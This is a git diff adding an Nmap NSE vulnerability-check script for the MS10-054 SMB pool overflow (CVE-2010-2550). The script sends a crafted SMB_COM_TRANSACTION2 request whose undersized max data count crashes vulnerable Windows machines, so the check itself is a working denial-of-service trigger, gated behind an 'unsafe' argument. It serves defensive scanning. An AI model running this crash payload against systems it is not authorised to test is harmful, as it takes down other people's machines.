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Diffstat (limited to '')
| -rw-r--r-- | scripts/smb-vuln-ms10-054.nse | 144 |
1 files changed, 144 insertions, 0 deletions
diff --git a/scripts/smb-vuln-ms10-054.nse b/scripts/smb-vuln-ms10-054.nse new file mode 100644 index 0000000..ebaf09f --- /dev/null +++ b/scripts/smb-vuln-ms10-054.nse @@ -0,0 +1,144 @@ +local smb = require "smb" +local vulns = require "vulns" +local stdnse = require "stdnse" +local string = require "string" + +description = [[ +Tests whether target machines are vulnerable to the ms10-054 SMB remote memory +corruption vulnerability. + +The vulnerable machine will crash with BSOD. + +The script requires at least READ access right to a share on a remote machine. +Either with guest credentials or with specified username/password. + +]] + +--- +-- @usage nmap -p 445 <target> --script=smb-vuln-ms10-054 --script-args unsafe +-- +-- @args unsafe Required to run the script, "safety swich" to prevent running it by accident +-- @args smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs) +-- @output +-- Host script results: +-- | smb-vuln-ms10-054: +-- | VULNERABLE: +-- | SMB remote memory corruption vulnerability +-- | State: VULNERABLE +-- | IDs: CVE:CVE-2010-2550 +-- | Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C) +-- | Description: +-- | The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, +-- | Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 +-- | does not properly validate fields in an SMB request, which allows remote attackers +-- | to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability." +-- | +-- | Disclosure date: 2010-08-11 +-- | References: +-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550 +-- |_ http://seclists.org/fulldisclosure/2010/Aug/122 + +author = "Aleksandar Nikolic" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"vuln","intrusive","dos"} + +hostrule = function(host) + return smb.get_port(host) ~= nil +end + +-- stolen from smb.lua as max data count needed to be modified to trigger the crash +local function send_transaction2(smbstate, sub_command, function_parameters) + local header, parameters, data, command + local parameter_offset = 0 + local parameter_size = 0 + local data_offset = 0 + local data_size = 0 + local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2 + local response = {} + + -- Header is 0x20 bytes long (not counting NetBIOS header). + header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2 + + if(function_parameters) then + parameter_offset = 0x44 + parameter_size = #function_parameters + data_offset = #function_parameters + 33 + 32 + end + + -- Parameters are 0x20 bytes long. + parameters = string.pack("<I2I2I2I2 BB I2 I4 I2I2I2I2I2 BB I2", + parameter_size, -- Total parameter count. + data_size, -- Total data count. + 0x000a, -- Max parameter count. + 0x000a, -- Max data count, less than 12 causes a crash + 0x00, -- Max setup count. + 0x00, -- Reserved. + 0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs). + 0x00001388, -- Timeout (0x00000000 = return immediately). + 0x0000, -- Reserved. + parameter_size, -- Parameter bytes. + parameter_offset, -- Parameter offset. + data_size, -- Data bytes. + data_offset, -- Data offset. + 0x01, -- Setup Count + 0x00, -- Reserved + sub_command -- Sub command + ) + + local data = "\0\0\0" .. (function_parameters or '') + + -- Send the transaction request + stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION2") + local result, err = smb.smb_send(smbstate, header, parameters, data, {}) + if(result == false) then + return false, err + end + + return true +end + +action = function(host,port) + if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then + stdnse.debug1("You must specify unsafe script argument to run this script.") + return false + end + local ms10_054 = { + title = "SMB remote memory corruption vulnerability", + IDS = {CVE = 'CVE-2010-2550'}, + risk_factor = "HIGH", + scores = { + CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)", + }, + description = [[ +The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, +Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 +does not properly validate fields in an SMB request, which allows remote attackers +to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability." +]], + references = { + 'http://seclists.org/fulldisclosure/2010/Aug/122', + 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550' + }, + dates = { + disclosure = {year = '2010', month = '08', day = '11'}, + }, + exploit_results = {}, + } + + local report = vulns.Report:new(SCRIPT_NAME, host, port) + ms10_054.state = vulns.STATE.NOT_VULN + + local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs" + + local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil) + + local param = "0501" -- Query FS Attribute Info + local status, result = send_transaction2(smbstate,0x03,stdnse.fromhex(param)) + status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim + if not status then -- if not , it has crashed + ms10_054.state = vulns.STATE.VULN + else + stdnse.debug1("Machine is not vulnerable") + end + return report:make_output(ms10_054) +end |